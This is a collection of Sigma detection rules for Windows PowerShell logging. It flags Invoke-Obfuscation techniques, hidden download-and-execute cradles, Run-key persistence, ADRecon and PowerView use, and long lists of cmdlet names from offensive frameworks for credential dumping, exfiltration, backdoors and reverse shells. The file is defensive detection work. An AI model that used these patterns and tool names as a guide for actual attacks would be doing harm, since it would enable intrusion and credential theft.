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title: Invoke-Obfuscation Via Stdin - PowerShell Module
id: c72aca44-8d52-45ad-8f81-f96c4d3c755e
related:
- id: 86b896ba-ffa1-4fea-83e3-ee28a4c915c7
type: derived
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_module
definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
selection_4103:
Payload|re: '(?i)(set).*&&\s?set.*(environment|invoke|\$?\{?input).*&&.*"'
condition: selection_4103
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Via Use Clip - PowerShell Module
id: ebdf49d8-b89c-46c9-8fdf-2c308406f6bd
related:
- id: db92dd33-a3ad-49cf-8c2c-608c3e30ace0
type: derived
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_module
definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
selection_4103:
Payload|re: '(?i)echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?)'
condition: selection_4103
falsepositives:
- Unknown
level: high
title: Malicious PowerShell Commandlets - PoshModule
id: 7d0d0329-0ef1-4e84-a9f5-49500f9d7c6c
related:
- id: 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
type: similar
- id: 02030f2f-6199-49ec-b258-ea71b07e03dc
type: similar
status: test
description: Detects Commandlet names from well-known PowerShell exploitation frameworks
references:
- https://adsecurity.org/?p=2921
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
- https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
- https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
- https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
- https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
- https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/ # Invoke-TotalExec
- https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/ # Invoke-TotalExec
- https://github.com/calebstewart/CVE-2021-1675 # Invoke-Nightmare
- https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
- https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
- https://github.com/HarmJ0y/DAMP
- https://github.com/samratashok/nishang
- https://github.com/DarkCoderSc/PowerRunAsSystem/
- https://github.com/besimorhino/powercat
- https://github.com/Kevin-Robertson/Powermad
- https://github.com/adrecon/ADRecon
- https://github.com/adrecon/AzureADRecon
- https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
- https://github.com/The-Viper-One/Invoke-PowerDPAPI/
- https://github.com/Arno0x/DNSExfiltrator/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-20
modified: 2025-12-10
tags:
- attack.execution
- attack.discovery
- attack.t1482
- attack.t1087
- attack.t1087.001
- attack.t1087.002
- attack.t1069.001
- attack.t1069.002
- attack.t1069
- attack.t1059.001
logsource:
product: windows
category: ps_module
definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
selection:
Payload|contains:
# Note: Please ensure alphabetical order when adding new entries
- 'Add-Exfiltration'
- 'Add-Persistence'
- 'Add-RegBackdoor'
- 'Add-RemoteRegBackdoor'
- 'Add-ScrnSaveBackdoor'
- 'BadSuccessor'
- 'Check-VM'
- 'ConvertTo-Rc4ByteStream'
- 'Decrypt-Hash'
- 'Disable-ADIDNSNode'
- 'Disable-MachineAccount'
- 'Do-Exfiltration'
- 'Enable-ADIDNSNode'
- 'Enable-MachineAccount'
- 'Enabled-DuplicateToken'
- 'Exploit-Jboss'
- 'Export-ADR' # # ADRecon related cmdlets
- 'Export-ADRCSV' # # ADRecon related cmdlets
- 'Export-ADRExcel' # # ADRecon related cmdlets
- 'Export-ADRHTML' # # ADRecon related cmdlets
- 'Export-ADRJSON' # # ADRecon related cmdlets
- 'Export-ADRXML' # # ADRecon related cmdlets
- 'Find-Fruit'
- 'Find-GPOLocation'
- 'Find-TrustedDocuments'
- 'Get-ADIDNS' # Covers: Get-ADIDNSNodeAttribute, Get-ADIDNSNodeOwner, Get-ADIDNSNodeTombstoned, Get-ADIDNSPermission, Get-ADIDNSZone
- 'Get-ApplicationHost'
- 'Get-ChromeDump'
- 'Get-ClipboardContents'
- 'Get-FoxDump'
- 'Get-GPPPassword'
- 'Get-IndexedItem'
- 'Get-KerberosAESKey'
- 'Get-Keystrokes'
- 'Get-LSASecret'
- 'Get-MachineAccountAttribute'
- 'Get-MachineAccountCreator'
- 'Get-PassHashes'
- 'Get-RegAlwaysInstallElevated'
- 'Get-RegAutoLogon'
- 'Get-RemoteBootKey'
- 'Get-RemoteCachedCredential'
- 'Get-RemoteLocalAccountHash'
- 'Get-RemoteLSAKey'
- 'Get-RemoteMachineAccountHash'
- 'Get-RemoteNLKMKey'
- 'Get-RickAstley'
- 'Get-Screenshot'
- 'Get-SecurityPackages'
- 'Get-ServiceFilePermission'
- 'Get-ServicePermission'
- 'Get-ServiceUnquoted'
- 'Get-SiteListPassword'
- 'Get-System'
- 'Get-TimedScreenshot'
- 'Get-UnattendedInstallFile'
- 'Get-Unconstrained'
- 'Get-USBKeystrokes'
- 'Get-VaultCredential'
- 'Get-VulnAutoRun'
- 'Get-VulnSchTask'
- 'Grant-ADIDNSPermission'
- 'Gupt-Backdoor'
- 'HTTP-Login'
- 'Install-ServiceBinary'
- 'Install-SSP'
- 'Invoke-ACLScanner'
- 'Invoke-ADRecon' # # ADRecon related cmdlets
- 'Invoke-ADSBackdoor'
- 'Invoke-AgentSmith'
- 'Invoke-AllChecks'
- 'Invoke-ARPScan'
- 'Invoke-AzureHound'
- 'Invoke-BackdoorLNK'
- 'Invoke-BadPotato'
- 'Invoke-BetterSafetyKatz'
- 'Invoke-BypassUAC'
- 'Invoke-Carbuncle'
- 'Invoke-Certify'
- 'Invoke-ConPtyShell'
- 'Invoke-CredentialInjection'
- 'Invoke-DAFT'
- 'Invoke-DCSync'
- 'Invoke-DinvokeKatz'
- 'Invoke-DllInjection'
- 'Invoke-DNSUpdate'
- 'Invoke-DNSExfiltrator'
- 'Invoke-DomainPasswordSpray'
- 'Invoke-DowngradeAccount'
- 'Invoke-EgressCheck'
- 'Invoke-Eyewitness'
- 'Invoke-FakeLogonScreen'
- 'Invoke-Farmer'
- 'Invoke-Get-RBCD-Threaded'
- 'Invoke-Gopher'
- 'Invoke-Grouper' # Also Covers Invoke-GrouperX
- 'Invoke-HandleKatz'
- 'Invoke-ImpersonatedProcess'
- 'Invoke-ImpersonateSystem'
- 'Invoke-InteractiveSystemPowerShell'
- 'Invoke-Internalmonologue'
- 'Invoke-Inveigh'
- 'Invoke-InveighRelay'
- 'Invoke-KrbRelay'
- 'Invoke-LdapSignCheck'
- 'Invoke-Lockless'
- 'Invoke-MalSCCM'
- 'Invoke-Mimikatz'
- 'Invoke-Mimikittenz'
- 'Invoke-MITM6'
- 'Invoke-NanoDump'
- 'Invoke-NetRipper'
- 'Invoke-Nightmare'
- 'Invoke-NinjaCopy'
- 'Invoke-OfficeScrape'
- 'Invoke-OxidResolver'
- 'Invoke-P0wnedshell'
- 'Invoke-Paranoia'
- 'Invoke-PortScan'
- 'Invoke-PoshRatHttp' # Also Covers Invoke-PoshRatHttps
- 'Invoke-PostExfil'
- 'Invoke-PowerDump'
- 'Invoke-PowerDPAPI'
- 'Invoke-PowerShellTCP'
- 'Invoke-PowerShellWMI'
- 'Invoke-PPLDump'
- 'Invoke-PsExec'
- 'Invoke-PSInject'
- 'Invoke-PsUaCme'
- 'Invoke-ReflectivePEInjection'
- 'Invoke-ReverseDNSLookup'
- 'Invoke-Rubeus'
- 'Invoke-RunAs'
- 'Invoke-SafetyKatz'
- 'Invoke-SauronEye'
- 'Invoke-SCShell'
- 'Invoke-Seatbelt'
- 'Invoke-ServiceAbuse'
- 'Invoke-ShadowSpray'
- 'Invoke-Sharp' # Covers all "Invoke-Sharp" variants
- 'Invoke-Shellcode'
- 'Invoke-SMBScanner'
- 'Invoke-Snaffler'
- 'Invoke-Spoolsample'
- 'Invoke-SpraySinglePassword'
- 'Invoke-SSHCommand'
- 'Invoke-StandIn'
- 'Invoke-StickyNotesExtract'
- 'Invoke-SystemCommand'
- 'Invoke-Tasksbackdoor'
- 'Invoke-Tater'
- 'Invoke-Thunderfox'
- 'Invoke-ThunderStruck'
- 'Invoke-TokenManipulation'
- 'Invoke-Tokenvator'
- 'Invoke-TotalExec'
- 'Invoke-UrbanBishop'
- 'Invoke-UserHunter'
- 'Invoke-VoiceTroll'
- 'Invoke-Whisker'
- 'Invoke-WinEnum'
- 'Invoke-winPEAS'
- 'Invoke-WireTap'
- 'Invoke-WmiCommand'
- 'Invoke-WMIExec'
- 'Invoke-WScriptBypassUAC'
- 'Invoke-Zerologon'
- 'MailRaider'
- 'New-ADIDNSNode'
- 'New-DNSRecordArray'
- 'New-HoneyHash'
- 'New-InMemoryModule'
- 'New-MachineAccount'
- 'New-SOASerialNumberArray'
- 'Out-Minidump'
- 'Port-Scan'
- 'PowerBreach'
- 'powercat '
- 'PowerUp'
- 'PowerView'
- 'Remove-ADIDNSNode'
- 'Remove-MachineAccount'
- 'Remove-Update'
- 'Rename-ADIDNSNode'
- 'Revoke-ADIDNSPermission'
- 'Set-ADIDNSNode' # Covers: Set-ADIDNSNodeAttribute, Set-ADIDNSNodeOwner
- 'Set-MacAttribute'
- 'Set-MachineAccountAttribute'
- 'Set-Wallpaper'
- 'Show-TargetScreen'
- 'Start-CaptureServer'
- 'Start-Dnscat2'
- 'Start-WebcamRecorder'
- 'Veeam-Get-Creds'
- 'VolumeShadowCopyTools'
condition: selection
falsepositives:
- Unknown
level: high
title: PowerShell ADRecon Execution
id: bf72941a-cba0-41ea-b18c-9aca3925690d
status: test
description: Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7
references:
- https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1
- https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
author: Bhabesh Raj
date: 2021-07-16
modified: 2022-09-06
tags:
- attack.discovery
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Function Get-ADRExcelComOb'
- 'Get-ADRGPO'
- 'Get-ADRDomainController'
- 'ADRecon-Report.xlsx' # Default
condition: selection
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell
id: 1b9dc62e-6e9e-42a3-8990-94d7a10007f7
status: test
description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014
references:
- https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
author: 'Daniel Bohannon (@Mandiant/@FireEye), oscd.community'
date: 2019-11-08
modified: 2022-12-31
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_iex:
- ScriptBlockText|re: '\$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\['
- ScriptBlockText|re: '\$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\['
- ScriptBlockText|re: '\$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\['
- ScriptBlockText|re: '\$env:ComSpec\[(\s*\d{1,3}\s*,){2}'
- ScriptBlockText|re: '\*mdr\*\W\s*\)\.Name'
- ScriptBlockText|re: '\$VerbosePreference\.ToString\('
condition: selection_iex
falsepositives:
- Unknown
level: high
title: PowerShell Credential Prompt
id: ca8b77a9-d499-4095-b793-5d5f330d450e
status: test
description: Detects PowerShell calling a credential prompt
references:
- https://twitter.com/JohnLaTwC/status/850381440629981184
- https://t.co/ezOTGy1a1G
author: John Lambert (idea), Florian Roth (Nextron Systems)
date: 2017-04-09
modified: 2022-12-25
tags:
- attack.credential-access
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains: 'PromptForCredential'
condition: selection
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Via Stdin - Powershell
id: 86b896ba-ffa1-4fea-83e3-ee28a4c915c7
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: '(?i)(set).*&&\s?set.*(environment|invoke|\$\{?input).*&&.*"'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Via Use Rundll32 - PowerShell
id: a5a30a6e-75ca-4233-8b8c-42e0f2037d3b
status: test
description: Detects Obfuscated Powershell via use Rundll32 in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009
author: Nikita Nazarov, oscd.community
date: 2019-10-08
modified: 2022-11-29
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|contains|all:
- '&&'
- 'rundll32'
- 'shell32.dll'
- 'shellexec_rundll'
ScriptBlockText|contains:
- 'value'
- 'invoke'
- 'comspec'
- 'iex'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: Malicious ShellIntel PowerShell Commandlets
id: 402e1e1d-ad59-47b6-bf80-1ee44985b3a7
status: test
description: Detects Commandlet names from ShellIntel exploitation scripts.
references:
- https://github.com/Shellntel/scripts/
author: Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)
date: 2021-08-09
modified: 2023-01-02
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Invoke-SMBAutoBrute'
- 'Invoke-GPOLinks'
# - 'Out-Minidump' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Invoke-Potato'
condition: selection
falsepositives:
- Unknown
level: high
title: PowerShell PSAttack
id: b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5
status: test
description: Detects the use of PSAttack PowerShell hack tool
references:
- https://adsecurity.org/?p=2921
author: Sean Metcalf (source), Florian Roth (Nextron Systems)
date: 2017-03-05
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains: 'PS ATTACK!!!'
condition: selection
falsepositives:
- Unknown
level: high
title: PowerView PowerShell Cmdlets - ScriptBlock
id: dcd74b95-3f36-4ed9-9598-0490951643aa
related:
- id: b2317cfa-4a47-4ead-b3ff-297438c0bc2d
type: similar
status: test
description: Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.
references:
- https://powersploit.readthedocs.io/en/stable/Recon/README
- https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
- https://thedfirreport.com/2020/10/08/ryuks-return
- https://adsecurity.org/?p=2277
author: Bhabesh Raj
date: 2021-05-18
modified: 2023-11-22
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Export-PowerViewCSV'
- 'Find-DomainLocalGroupMember'
- 'Find-DomainObjectPropertyOutlier'
- 'Find-DomainProcess'
- 'Find-DomainShare'
- 'Find-DomainUserEvent'
- 'Find-DomainUserLocation'
- 'Find-ForeignGroup'
- 'Find-ForeignUser'
- 'Find-GPOComputerAdmin'
- 'Find-GPOLocation'
- 'Find-InterestingDomain' # Covers: Find-InterestingDomainAcl, Find-InterestingDomainShareFile
- 'Find-InterestingFile'
- 'Find-LocalAdminAccess'
- 'Find-ManagedSecurityGroups'
- 'Get-CachedRDPConnection'
- 'Get-DFSshare'
- 'Get-DomainDFSShare'
- 'Get-DomainDNSRecord'
- 'Get-DomainDNSZone'
- 'Get-DomainFileServer'
- 'Get-DomainGPOComputerLocalGroupMapping'
- 'Get-DomainGPOLocalGroup'
- 'Get-DomainGPOUserLocalGroupMapping'
- 'Get-LastLoggedOn'
- 'Get-LoggedOnLocal'
- 'Get-NetFileServer'
- 'Get-NetForest' # Covers: Get-NetForestCatalog, Get-NetForestDomain, Get-NetForestTrust
- 'Get-NetGPOGroup'
- 'Get-NetProcess'
- 'Get-NetRDPSession'
- 'Get-RegistryMountedDrive'
- 'Get-RegLoggedOn'
- 'Get-WMIRegCachedRDPConnection'
- 'Get-WMIRegLastLoggedOn'
- 'Get-WMIRegMountedDrive'
- 'Get-WMIRegProxy'
- 'Invoke-ACLScanner'
- 'Invoke-CheckLocalAdminAccess'
- 'Invoke-EnumerateLocalAdmin'
- 'Invoke-EventHunter'
- 'Invoke-FileFinder'
- 'Invoke-Kerberoast'
- 'Invoke-MapDomainTrust'
- 'Invoke-ProcessHunter'
- 'Invoke-RevertToSelf'
- 'Invoke-ShareFinder'
- 'Invoke-UserHunter'
- 'Invoke-UserImpersonation'
- 'Remove-RemoteConnection'
- 'Request-SPNTicket'
- 'Resolve-IPAddress'
# - 'Get-ADObject' # prone to FPs
# - 'Get-Domain' # too many FPs # Covers Cmdlets like: DomainComputer, DomainController, DomainDFSShare, DomainDNSRecord, DomainGPO, etc.
# - 'Add-DomainGroupMember'
# - 'Add-DomainObjectAcl'
# - 'Add-ObjectAcl'
# - 'Add-RemoteConnection'
# - 'Convert-ADName'
# - 'Convert-NameToSid'
# - 'ConvertFrom-UACValue'
# - 'ConvertTo-SID'
# - 'Get-DNSRecord'
# - 'Get-DNSZone'
# - 'Get-DomainComputer'
# - 'Get-DomainController'
# - 'Get-DomainGroup'
# - 'Get-DomainGroupMember'
# - 'Get-DomainManagedSecurityGroup'
# - 'Get-DomainObject'
# - 'Get-DomainObjectAcl'
# - 'Get-DomainOU'
# - 'Get-DomainPolicy'
# - 'Get-DomainSID'
# - 'Get-DomainSite'
# - 'Get-DomainSPNTicket'
# - 'Get-DomainSubnet'
# - 'Get-DomainUser'
# - 'Get-DomainUserEvent'
# - 'Get-Forest' # Covers: Get-ForestDomain, Get-ForestGlobalCatalog, Get-ForestTrust
# - 'Get-IPAddress'
# - 'Get-NetComputer' # Covers: Get-NetComputerSiteName
# - 'Get-NetDomain' # Covers: Get-NetDomainController, Get-NetDomainTrust
# - 'Get-NetGroup' # Covers: Get-NetGroupMember
# - 'Get-NetLocalGroup' # Covers: NetLocalGroupMember
# - 'Get-NetLoggedon'
# - 'Get-NetOU'
# - 'Get-NetSession'
# - 'Get-NetShare'
# - 'Get-NetSite'
# - 'Get-NetSubnet'
# - 'Get-NetUser'
# - 'Get-ObjectAcl'
# - 'Get-PathAcl'
# - 'Get-Proxy'
# - 'Get-SiteName'
# - 'Get-UserEvent'
# - 'Get-WMIProcess'
# - 'New-DomainGroup'
# - 'New-DomainUser'
# - 'Set-ADObject'
# - 'Set-DomainObject'
# - 'Set-DomainUserPassword'
# - 'Test-AdminAccess'
condition: selection
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation VAR+ Launcher - PowerShell
id: 0adfbc14-0ed1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of Environment Variables to execute PowerShell
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task 24)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: 'cmd.{0,5}(?:/c|/r)(?:\s|)"set\s[a-zA-Z]{3,6}.*(?:\{\d\}){1,}\\"\s+?-f(?:.*\)){1,}.*"'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: Suspicious PowerShell Invocations - Specific
id: ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71
related:
- id: fce5f582-cc00-41e1-941a-c6fabf0fdb8c
type: obsolete
- id: 8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090
type: similar
- id: 536e2947-3729-478c-9903-745aaffe60d2
type: similar
status: test
description: Detects suspicious PowerShell invocation command parameters
references:
- Internal Research
- https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro
date: 2017-03-05
modified: 2025-02-17
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_convert_b64:
ScriptBlockText|contains|all:
- '-nop'
- ' -w '
- 'hidden'
- ' -c '
- '[Convert]::FromBase64String'
selection_iex_selection:
ScriptBlockText|contains|all:
- ' -w '
- 'hidden'
- '-noni'
- '-nop'
- ' -c '
- 'iex'
- 'New-Object'
selection_enc_selection:
ScriptBlockText|contains|all:
- ' -w '
- 'hidden'
- '-ep'
- 'bypass'
- '-Enc'
selection_reg_selection:
ScriptBlockText|contains|all:
- 'powershell'
- 'reg'
- 'add'
ScriptBlockText|contains:
- '\software\microsoft\windows\currentversion\run'
- '\software\wow6432node\microsoft\windows\currentversion\run'
- '\software\microsoft\windows\currentversion\policies\explorer\run'
selection_webclient_selection:
ScriptBlockText|contains|all:
- 'bypass'
- '-noprofile'
- '-windowstyle'
- 'hidden'
- 'new-object'
- 'system.net.webclient'
- '.download'
selection_iex_webclient:
ScriptBlockText|contains|all:
- 'iex'
- 'New-Object'
- 'Net.WebClient'
- '.Download'
filter_chocolatey:
ScriptBlockText|contains:
- "(New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1"
- "(New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')"
- 'Write-ChocolateyWarning'
condition: 1 of selection_* and not 1 of filter_*
falsepositives:
- Unknown
level: high
title: Malicious PowerShell Commandlets - ScriptBlock
id: 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
related:
- id: 7d0d0329-0ef1-4e84-a9f5-49500f9d7c6c
type: similar
- id: 02030f2f-6199-49ec-b258-ea71b07e03dc
type: similar
- id: 6d3f1399-a81c-4409-aff3-1ecfe9330baf
type: obsolete
- id: 83083ac6-1816-4e76-97d7-59af9a9ae46e
type: obsolete
status: test
description: Detects Commandlet names from well-known PowerShell exploitation frameworks
references:
- https://adsecurity.org/?p=2921
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
- https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
- https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
- https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
- https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
- https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/ # Invoke-TotalExec
- https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/ # Invoke-TotalExec
- https://github.com/calebstewart/CVE-2021-1675 # Invoke-Nightmare
- https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
- https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
- https://github.com/HarmJ0y/DAMP
- https://github.com/samratashok/nishang
- https://github.com/DarkCoderSc/PowerRunAsSystem/
- https://github.com/besimorhino/powercat
- https://github.com/Kevin-Robertson/Powermad
- https://github.com/adrecon/ADRecon
- https://github.com/adrecon/AzureADRecon
- https://github.com/The-Viper-One/Invoke-PowerDPAPI/
- https://github.com/Arno0x/DNSExfiltrator/
author: Sean Metcalf, Florian Roth, Bartlomiej Czyz @bczyz1, oscd.community, Nasreddine Bencherchali, Tim Shelton, Mustafa Kaan Demir, Georg Lauenstein, Max Altgelt, Tobias Michalski, Austin Songer
date: 2017-03-05
modified: 2025-12-10
tags:
- attack.execution
- attack.discovery
- attack.t1482
- attack.t1087
- attack.t1087.001
- attack.t1087.002
- attack.t1069.001
- attack.t1069.002
- attack.t1069
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
# Note: Please ensure alphabetical order when adding new entries
- 'Add-Exfiltration'
- 'Add-Persistence'
- 'Add-RegBackdoor'
- 'Add-RemoteRegBackdoor'
- 'Add-ScrnSaveBackdoor'
- 'ConvertTo-Rc4ByteStream'
- 'Decrypt-Hash'
- 'Disable-ADIDNSNode'
- 'Do-Exfiltration'
- 'Enable-ADIDNSNode'
- 'Enabled-DuplicateToken'
- 'Exploit-Jboss'
- 'Export-ADRCSV'
- 'Export-ADRExcel'
- 'Export-ADRHTML'
- 'Export-ADRJSON'
- 'Export-ADRXML'
- 'Find-Fruit'
- 'Find-GPOLocation'
- 'Find-TrustedDocuments'
- 'Get-ADIDNSNodeAttribute'
- 'Get-ADIDNSNodeOwner'
- 'Get-ADIDNSNodeTombstoned'
- 'Get-ADIDNSPermission'
- 'Get-ADIDNSZone'
- 'Get-ChromeDump'
- 'Get-ClipboardContents'
- 'Get-FoxDump'
- 'Get-GPPPassword'
- 'Get-IndexedItem'
- 'Get-KerberosAESKey'
- 'Get-Keystrokes'
- 'Get-LSASecret'
- 'Get-PassHashes'
- 'Get-RegAlwaysInstallElevated'
- 'Get-RegAutoLogon'
- 'Get-RemoteBootKey'
- 'Get-RemoteCachedCredential'
- 'Get-RemoteLocalAccountHash'
- 'Get-RemoteLSAKey'
- 'Get-RemoteMachineAccountHash'
- 'Get-RemoteNLKMKey'
- 'Get-RickAstley'
- 'Get-SecurityPackages'
- 'Get-ServiceFilePermission'
- 'Get-ServicePermission'
- 'Get-ServiceUnquoted'
- 'Get-SiteListPassword'
- 'Get-System'
- 'Get-TimedScreenshot'
- 'Get-UnattendedInstallFile'
- 'Get-Unconstrained'
- 'Get-USBKeystrokes'
- 'Get-VaultCredential'
- 'Get-VulnAutoRun'
- 'Get-VulnSchTask'
- 'Grant-ADIDNSPermission'
- 'Gupt-Backdoor'
- 'Invoke-ACLScanner'
- 'Invoke-ADRecon'
- 'Invoke-ADSBackdoor'
- 'Invoke-AgentSmith'
- 'Invoke-AllChecks'
- 'Invoke-ARPScan'
- 'Invoke-AzureHound'
- 'Invoke-BackdoorLNK'
- 'Invoke-BadPotato'
- 'Invoke-BetterSafetyKatz'
- 'Invoke-BypassUAC'
- 'Invoke-Carbuncle'
- 'Invoke-Certify'
- 'Invoke-ConPtyShell'
- 'Invoke-CredentialInjection'
- 'Invoke-DAFT'
- 'Invoke-DCSync'
- 'Invoke-DinvokeKatz'
- 'Invoke-DllInjection'
- 'Invoke-DNSUpdate'
- 'Invoke-DNSExfiltrator'
- 'Invoke-DomainPasswordSpray'
- 'Invoke-DowngradeAccount'
- 'Invoke-EgressCheck'
- 'Invoke-Eyewitness'
- 'Invoke-FakeLogonScreen'
- 'Invoke-Farmer'
- 'Invoke-Get-RBCD-Threaded'
- 'Invoke-Gopher'
- 'Invoke-Grouper' # Also Covers Invoke-GrouperX
- 'Invoke-HandleKatz'
- 'Invoke-ImpersonatedProcess'
- 'Invoke-ImpersonateSystem'
- 'Invoke-InteractiveSystemPowerShell'
- 'Invoke-Internalmonologue'
- 'Invoke-Inveigh'
- 'Invoke-InveighRelay'
- 'Invoke-KrbRelay'
- 'Invoke-LdapSignCheck'
- 'Invoke-Lockless'
- 'Invoke-MalSCCM'
- 'Invoke-Mimikatz'
- 'Invoke-Mimikittenz'
- 'Invoke-MITM6'
- 'Invoke-NanoDump'
- 'Invoke-NetRipper'
- 'Invoke-Nightmare'
- 'Invoke-NinjaCopy'
- 'Invoke-OfficeScrape'
- 'Invoke-OxidResolver'
- 'Invoke-P0wnedshell'
- 'Invoke-Paranoia'
- 'Invoke-PortScan'
- 'Invoke-PoshRatHttp' # Also Covers Invoke-PoshRatHttps
- 'Invoke-PostExfil'
- 'Invoke-PowerDump'
- 'Invoke-PowerDPAPI'
- 'Invoke-PowerShellTCP'
- 'Invoke-PowerShellWMI'
- 'Invoke-PPLDump'
